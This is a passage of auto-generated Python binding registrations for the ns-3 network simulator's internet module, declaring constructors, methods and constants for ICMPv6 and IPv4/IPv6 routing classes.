## icmpv6-l4-protocol.h (module 'internet'): int ns3::Icmpv6L4Protocol::GetProtocolNumber() const [member function]
cls.add_method('GetProtocolNumber',
'int',
[],
is_const=True, is_virtual=True)
## icmpv6-l4-protocol.h (module 'internet'): static uint16_t ns3::Icmpv6L4Protocol::GetStaticProtocolNumber() [member function]
cls.add_method('GetStaticProtocolNumber',
'uint16_t',
[],
is_static=True)
## icmpv6-l4-protocol.h (module 'internet'): static ns3::TypeId ns3::Icmpv6L4Protocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-l4-protocol.h (module 'internet'): int ns3::Icmpv6L4Protocol::GetVersion() const [member function]
cls.add_method('GetVersion',
'int',
[],
is_const=True, is_virtual=True)
## icmpv6-l4-protocol.h (module 'internet'): bool ns3::Icmpv6L4Protocol::IsAlwaysDad() const [member function]
cls.add_method('IsAlwaysDad',
'bool',
[],
is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): bool ns3::Icmpv6L4Protocol::Lookup(ns3::Ipv6Address dst, ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<ns3::NdiscCache> cache, ns3::Address * hardwareDestination) [member function]
cls.add_method('Lookup',
'bool',
[param('ns3::Ipv6Address', 'dst'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::NdiscCache >', 'cache'), param('ns3::Address *', 'hardwareDestination')])
## icmpv6-l4-protocol.h (module 'internet'): bool ns3::Icmpv6L4Protocol::Lookup(ns3::Ptr<ns3::Packet> p, ns3::Ipv6Address dst, ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<ns3::NdiscCache> cache, ns3::Address * hardwareDestination) [member function]
cls.add_method('Lookup',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv6Address', 'dst'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::NdiscCache >', 'cache'), param('ns3::Address *', 'hardwareDestination')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
is_virtual=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Ipv6L4Protocol::RxStatus_e ns3::Icmpv6L4Protocol::Receive(ns3::Ptr<ns3::Packet> p, ns3::Ipv6Address const & src, ns3::Ipv6Address const & dst, ns3::Ptr<ns3::Ipv6Interface> interface) [member function]
cls.add_method('Receive',
'ns3::Ipv6L4Protocol::RxStatus_e',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv6Address const &', 'src'), param('ns3::Ipv6Address const &', 'dst'), param('ns3::Ptr< ns3::Ipv6Interface >', 'interface')],
is_virtual=True)
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendEchoReply(ns3::Ipv6Address src, ns3::Ipv6Address dst, uint16_t id, uint16_t seq, ns3::Ptr<ns3::Packet> data) [member function]
cls.add_method('SendEchoReply',
'void',
[param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('uint16_t', 'id'), param('uint16_t', 'seq'), param('ns3::Ptr< ns3::Packet >', 'data')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendErrorDestinationUnreachable(ns3::Ptr<ns3::Packet> malformedPacket, ns3::Ipv6Address dst, uint8_t code) [member function]
cls.add_method('SendErrorDestinationUnreachable',
'void',
[param('ns3::Ptr< ns3::Packet >', 'malformedPacket'), param('ns3::Ipv6Address', 'dst'), param('uint8_t', 'code')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendErrorParameterError(ns3::Ptr<ns3::Packet> malformedPacket, ns3::Ipv6Address dst, uint8_t code, uint32_t ptr) [member function]
cls.add_method('SendErrorParameterError',
'void',
[param('ns3::Ptr< ns3::Packet >', 'malformedPacket'), param('ns3::Ipv6Address', 'dst'), param('uint8_t', 'code'), param('uint32_t', 'ptr')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendErrorTimeExceeded(ns3::Ptr<ns3::Packet> malformedPacket, ns3::Ipv6Address dst, uint8_t code) [member function]
cls.add_method('SendErrorTimeExceeded',
'void',
[param('ns3::Ptr< ns3::Packet >', 'malformedPacket'), param('ns3::Ipv6Address', 'dst'), param('uint8_t', 'code')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendErrorTooBig(ns3::Ptr<ns3::Packet> malformedPacket, ns3::Ipv6Address dst, uint32_t mtu) [member function]
cls.add_method('SendErrorTooBig',
'void',
[param('ns3::Ptr< ns3::Packet >', 'malformedPacket'), param('ns3::Ipv6Address', 'dst'), param('uint32_t', 'mtu')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendMessage(ns3::Ptr<ns3::Packet> packet, ns3::Ipv6Address src, ns3::Ipv6Address dst, uint8_t ttl) [member function]
cls.add_method('SendMessage',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('uint8_t', 'ttl')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendMessage(ns3::Ptr<ns3::Packet> packet, ns3::Ipv6Address dst, ns3::Icmpv6Header & icmpv6Hdr, uint8_t ttl) [member function]
cls.add_method('SendMessage',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv6Address', 'dst'), param('ns3::Icmpv6Header &', 'icmpv6Hdr'), param('uint8_t', 'ttl')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendNA(ns3::Ipv6Address src, ns3::Ipv6Address dst, ns3::Address * hardwareAddress, uint8_t flags) [member function]
cls.add_method('SendNA',
'void',
[param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('ns3::Address *', 'hardwareAddress'), param('uint8_t', 'flags')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendNS(ns3::Ipv6Address src, ns3::Ipv6Address dst, ns3::Ipv6Address target, ns3::Address hardwareAddress) [member function]
cls.add_method('SendNS',
'void',
[param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('ns3::Ipv6Address', 'target'), param('ns3::Address', 'hardwareAddress')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendRS(ns3::Ipv6Address src, ns3::Ipv6Address dst, ns3::Address hardwareAddress) [member function]
cls.add_method('SendRS',
'void',
[param('ns3::Ipv6Address', 'src'), param('ns3::Ipv6Address', 'dst'), param('ns3::Address', 'hardwareAddress')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SendRedirection(ns3::Ptr<ns3::Packet> redirectedPacket, ns3::Ipv6Address dst, ns3::Ipv6Address redirTarget, ns3::Ipv6Address redirDestination, ns3::Address redirHardwareTarget) [member function]
cls.add_method('SendRedirection',
'void',
[param('ns3::Ptr< ns3::Packet >', 'redirectedPacket'), param('ns3::Ipv6Address', 'dst'), param('ns3::Ipv6Address', 'redirTarget'), param('ns3::Ipv6Address', 'redirDestination'), param('ns3::Address', 'redirHardwareTarget')])
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::DELAY_FIRST_PROBE_TIME [variable]
cls.add_static_attribute('DELAY_FIRST_PROBE_TIME', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_ANYCAST_DELAY_TIME [variable]
cls.add_static_attribute('MAX_ANYCAST_DELAY_TIME', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_FINAL_RTR_ADVERTISEMENTS [variable]
cls.add_static_attribute('MAX_FINAL_RTR_ADVERTISEMENTS', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_INITIAL_RTR_ADVERTISEMENTS [variable]
cls.add_static_attribute('MAX_INITIAL_RTR_ADVERTISEMENTS', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_INITIAL_RTR_ADVERT_INTERVAL [variable]
cls.add_static_attribute('MAX_INITIAL_RTR_ADVERT_INTERVAL', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_MULTICAST_SOLICIT [variable]
cls.add_static_attribute('MAX_MULTICAST_SOLICIT', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_NEIGHBOR_ADVERTISEMENT [variable]
cls.add_static_attribute('MAX_NEIGHBOR_ADVERTISEMENT', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_RANDOM_FACTOR [variable]
cls.add_static_attribute('MAX_RANDOM_FACTOR', 'double const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_RA_DELAY_TIME [variable]
cls.add_static_attribute('MAX_RA_DELAY_TIME', 'uint32_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_RTR_SOLICITATIONS [variable]
cls.add_static_attribute('MAX_RTR_SOLICITATIONS', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_RTR_SOLICITATION_DELAY [variable]
cls.add_static_attribute('MAX_RTR_SOLICITATION_DELAY', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MAX_UNICAST_SOLICIT [variable]
cls.add_static_attribute('MAX_UNICAST_SOLICIT', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MIN_DELAY_BETWEEN_RAS [variable]
cls.add_static_attribute('MIN_DELAY_BETWEEN_RAS', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::MIN_RANDOM_FACTOR [variable]
cls.add_static_attribute('MIN_RANDOM_FACTOR', 'double const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::PROT_NUMBER [variable]
cls.add_static_attribute('PROT_NUMBER', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::REACHABLE_TIME [variable]
cls.add_static_attribute('REACHABLE_TIME', 'uint32_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::RETRANS_TIMER [variable]
cls.add_static_attribute('RETRANS_TIMER', 'uint32_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): ns3::Icmpv6L4Protocol::RTR_SOLICITATION_INTERVAL [variable]
cls.add_static_attribute('RTR_SOLICITATION_INTERVAL', 'uint8_t const', is_const=True)
## icmpv6-l4-protocol.h (module 'internet'): void ns3::Icmpv6L4Protocol::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3Ipv4GlobalRouting_methods(root_module, cls):
## ipv4-global-routing.h (module 'internet'): ns3::Ipv4GlobalRouting::Ipv4GlobalRouting(ns3::Ipv4GlobalRouting const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4GlobalRouting const &', 'arg0')])
## ipv4-global-routing.h (module 'internet'): ns3::Ipv4GlobalRouting::Ipv4GlobalRouting() [constructor]
cls.add_constructor([])
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::AddASExternalRouteTo(ns3::Ipv4Address network, ns3::Ipv4Mask networkMask, ns3::Ipv4Address nextHop, uint32_t interface) [member function]
cls.add_method('AddASExternalRouteTo',
'void',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'networkMask'), param('ns3::Ipv4Address', 'nextHop'), param('uint32_t', 'interface')])
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::AddHostRouteTo(ns3::Ipv4Address dest, ns3::Ipv4Address nextHop, uint32_t interface) [member function]
cls.add_method('AddHostRouteTo',
'void',
[param('ns3::Ipv4Address', 'dest'), param('ns3::Ipv4Address', 'nextHop'), param('uint32_t', 'interface')])
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::AddHostRouteTo(ns3::Ipv4Address dest, uint32_t interface) [member function]
cls.add_method('AddHostRouteTo',
'void',
[param('ns3::Ipv4Address', 'dest'), param('uint32_t', 'interface')])
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::AddNetworkRouteTo(ns3::Ipv4Address network, ns3::Ipv4Mask networkMask, ns3::Ipv4Address nextHop, uint32_t interface) [member function]
cls.add_method('AddNetworkRouteTo',
'void',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'networkMask'), param('ns3::Ipv4Address', 'nextHop'), param('uint32_t', 'interface')])
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::AddNetworkRouteTo(ns3::Ipv4Address network, ns3::Ipv4Mask networkMask, uint32_t interface) [member function]
cls.add_method('AddNetworkRouteTo',
'void',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'networkMask'), param('uint32_t', 'interface')])
## ipv4-global-routing.h (module 'internet'): uint32_t ns3::Ipv4GlobalRouting::GetNRoutes() const [member function]
cls.add_method('GetNRoutes',
'uint32_t',
[],
is_const=True)
## ipv4-global-routing.h (module 'internet'): ns3::Ipv4RoutingTableEntry * ns3::Ipv4GlobalRouting::GetRoute(uint32_t i) const [member function]
cls.add_method('GetRoute',
retval('ns3::Ipv4RoutingTableEntry *', caller_owns_return=False),
[param('uint32_t', 'i')],
is_const=True)
## ipv4-global-routing.h (module 'internet'): static ns3::TypeId ns3::Ipv4GlobalRouting::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::NotifyAddAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('NotifyAddAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_virtual=True)
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::NotifyInterfaceDown(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceDown',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::NotifyInterfaceUp(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceUp',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::NotifyRemoveAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('NotifyRemoveAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_virtual=True)
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::PrintRoutingTable(ns3::Ptr<ns3::OutputStreamWrapper> stream) const [member function]
cls.add_method('PrintRoutingTable',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')],
is_const=True, is_virtual=True)
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::RemoveRoute(uint32_t i) [member function]
cls.add_method('RemoveRoute',
'void',
[param('uint32_t', 'i')])
## ipv4-global-routing.h (module 'internet'): bool ns3::Ipv4GlobalRouting::RouteInput(ns3::Ptr<const ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<const ns3::NetDevice> idev, ns3::Callback<void,ns3::Ptr<ns3::Ipv4Route>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ucb, ns3::Callback<void,ns3::Ptr<ns3::Ipv4MulticastRoute>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> mcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,unsigned int,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> lcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::Socket::SocketErrno,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ecb) [member function]
cls.add_method('RouteInput',
'bool',
[param('ns3::Ptr< ns3::Packet const >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice const >', 'idev'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ucb'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'mcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'lcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ecb')],
is_virtual=True)
## ipv4-global-routing.h (module 'internet'): ns3::Ptr<ns3::Ipv4Route> ns3::Ipv4GlobalRouting::RouteOutput(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<ns3::NetDevice> oif, ns3::Socket::SocketErrno & sockerr) [member function]
cls.add_method('RouteOutput',
'ns3::Ptr< ns3::Ipv4Route >',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice >', 'oif'), param('ns3::Socket::SocketErrno &', 'sockerr')],
is_virtual=True)
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::SetIpv4(ns3::Ptr<ns3::Ipv4> ipv4) [member function]
cls.add_method('SetIpv4',
'void',
[param('ns3::Ptr< ns3::Ipv4 >', 'ipv4')],
is_virtual=True)
## ipv4-global-routing.h (module 'internet'): void ns3::Ipv4GlobalRouting::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3Ipv4ListRouting_methods(root_module, cls):
## ipv4-list-routing.h (module 'internet'): ns3::Ipv4ListRouting::Ipv4ListRouting(ns3::Ipv4ListRouting const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4ListRouting const &', 'arg0')])
## ipv4-list-routing.h (module 'internet'): ns3::Ipv4ListRouting::Ipv4ListRouting() [constructor]
cls.add_constructor([])
## ipv4-list-routing.h (module 'internet'): void ns3::Ipv4ListRouting::AddRoutingProtocol(ns3::Ptr<ns3::Ipv4RoutingProtocol> routingProtocol, int16_t priority) [member function]
cls.add_method('AddRoutingProtocol',
'void',
[param('ns3::Ptr< ns3::Ipv4RoutingProtocol >', 'routingProtocol'), param('int16_t', 'priority')],
is_virtual=True)
## ipv4-list-routing.h (module 'internet'): uint32_t ns3::Ipv4ListRouting::GetNRoutingProtocols() const [member function]
cls.add_method('GetNRoutingProtocols',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv4-list-routing.h (module 'internet'): ns3::Ptr<ns3::Ipv4RoutingProtocol> ns3::Ipv4ListRouting::GetRoutingProtocol(uint32_t index, int16_t & priority) const [member function]
cls.add_method('GetRoutingProtocol',
'ns3::Ptr< ns3::Ipv4RoutingProtocol >',
[param('uint32_t', 'index'), param('int16_t &', 'priority', direction=2)],
is_const=True, is_virtual=True)
## ipv4-list-routing.h (module 'internet'): static ns3::TypeId ns3::Ipv4ListRouting::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-list-routing.h (module 'internet'): void ns3::Ipv4ListRouting::NotifyAddAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('NotifyAddAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_virtual=True)
## ipv4-list-routing.h (module 'internet'): void ns3::Ipv4ListRouting::NotifyInterfaceDown(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceDown',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv4-list-routing.h (module 'internet'): void ns3::Ipv4ListRouting::NotifyInterfaceUp(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceUp',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv4-list-routing.h (module 'internet'): void ns3::Ipv4ListRouting::NotifyRemoveAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('NotifyRemoveAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_virtual=True)
## ipv4-list-routing.h (module 'internet'): void ns3::Ipv4ListRouting::PrintRoutingTable(ns3::Ptr<ns3::OutputStreamWrapper> stream) const [member function]
cls.add_method('PrintRoutingTable',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')],
is_const=True, is_virtual=True)
## ipv4-list-routing.h (module 'internet'): bool ns3::Ipv4ListRouting::RouteInput(ns3::Ptr<const ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<const ns3::NetDevice> idev, ns3::Callback<void,ns3::Ptr<ns3::Ipv4Route>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ucb, ns3::Callback<void,ns3::Ptr<ns3::Ipv4MulticastRoute>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> mcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,unsigned int,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> lcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::Socket::SocketErrno,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ecb) [member function]
cls.add_method('RouteInput',
'bool',
[param('ns3::Ptr< ns3::Packet const >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice const >', 'idev'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ucb'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'mcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'lcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ecb')],
is_virtual=True)
## ipv4-list-routing.h (module 'internet'): ns3::Ptr<ns3::Ipv4Route> ns3::Ipv4ListRouting::RouteOutput(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<ns3::NetDevice> oif, ns3::Socket::SocketErrno & sockerr) [member function]
cls.add_method('RouteOutput',
'ns3::Ptr< ns3::Ipv4Route >',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice >', 'oif'), param('ns3::Socket::SocketErrno &', 'sockerr')],
is_virtual=True)
## ipv4-list-routing.h (module 'internet'): void ns3::Ipv4ListRouting::SetIpv4(ns3::Ptr<ns3::Ipv4> ipv4) [member function]
cls.add_method('SetIpv4',
'void',
[param('ns3::Ptr< ns3::Ipv4 >', 'ipv4')],
is_virtual=True)
## ipv4-list-routing.h (module 'internet'): void ns3::Ipv4ListRouting::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## ipv4-list-routing.h (module 'internet'): void ns3::Ipv4ListRouting::DoStart() [member function]
cls.add_method('DoStart',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3Ipv6ListRouting_methods(root_module, cls):
## ipv6-list-routing.h (module 'internet'): ns3::Ipv6ListRouting::Ipv6ListRouting(ns3::Ipv6ListRouting const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6ListRouting const &', 'arg0')])
## ipv6-list-routing.h (module 'internet'): ns3::Ipv6ListRouting::Ipv6ListRouting() [constructor]
cls.add_constructor([])
## ipv6-list-routing.h (module 'internet'): void ns3::Ipv6ListRouting::AddRoutingProtocol(ns3::Ptr<ns3::Ipv6RoutingProtocol> routingProtocol, int16_t priority) [member function]
cls.add_method('AddRoutingProtocol',
'void',
[param('ns3::Ptr< ns3::Ipv6RoutingProtocol >', 'routingProtocol'), param('int16_t', 'priority')],
is_virtual=True)
## ipv6-list-routing.h (module 'internet'): uint32_t ns3::Ipv6ListRouting::GetNRoutingProtocols() const [member function]
cls.add_method('GetNRoutingProtocols',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-list-routing.h (module 'internet'): ns3::Ptr<ns3::Ipv6RoutingProtocol> ns3::Ipv6ListRouting::GetRoutingProtocol(uint32_t index, int16_t & priority) const [member function]
cls.add_method('GetRoutingProtocol',
'ns3::Ptr< ns3::Ipv6RoutingProtocol >',
[param('uint32_t', 'index'), param('int16_t &', 'priority')],
is_const=True, is_virtual=True)
## ipv6-list-routing.h (module 'internet'): static ns3::TypeId ns3::Ipv6ListRouting::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-list-routing.h (module 'internet'): void ns3::Ipv6ListRouting::NotifyAddAddress(uint32_t interface, ns3::Ipv6InterfaceAddress address) [member function]
cls.add_method('NotifyAddAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv6InterfaceAddress', 'address')],
is_virtual=True)
## ipv6-list-routing.h (module 'internet'): void ns3::Ipv6ListRouting::NotifyAddRoute(ns3::Ipv6Address dst, ns3::Ipv6Prefix mask, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse=ns3::Ipv6Address::GetZero( )) [member function]
cls.add_method('NotifyAddRoute',
'void',
[param('ns3::Ipv6Address', 'dst'), param('ns3::Ipv6Prefix', 'mask'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse', default_value='ns3::Ipv6Address::GetZero( )')],
is_virtual=True)
## ipv6-list-routing.h (module 'internet'): void ns3::Ipv6ListRouting::NotifyInterfaceDown(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceDown',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv6-list-routing.h (module 'internet'): void ns3::Ipv6ListRouting::NotifyInterfaceUp(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceUp',
'void',
[param('uint32_t', 'interface')],
is_virtual=True)
## ipv6-list-routing.h (module 'internet'): void ns3::Ipv6ListRouting::NotifyRemoveAddress(uint32_t interface, ns3::Ipv6InterfaceAddress address) [member function]
cls.add_method('NotifyRemoveAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv6InterfaceAddress', 'address')],
is_virtual=True)
## ipv6-list-routing.h (module 'internet'): void ns3::Ipv6ListRouting::NotifyRemoveRoute(ns3::Ipv6Address dst, ns3::Ipv6Prefix mask, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse=ns3::Ipv6Address::GetZero( )) [member function]
cls.add_method('NotifyRemoveRoute',
'void',
[param('ns3::Ipv6Address', 'dst'), param('ns3::Ipv6Prefix', 'mask'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse', default_value='ns3::Ipv6Address::GetZero( )')],
is_virtual=True)
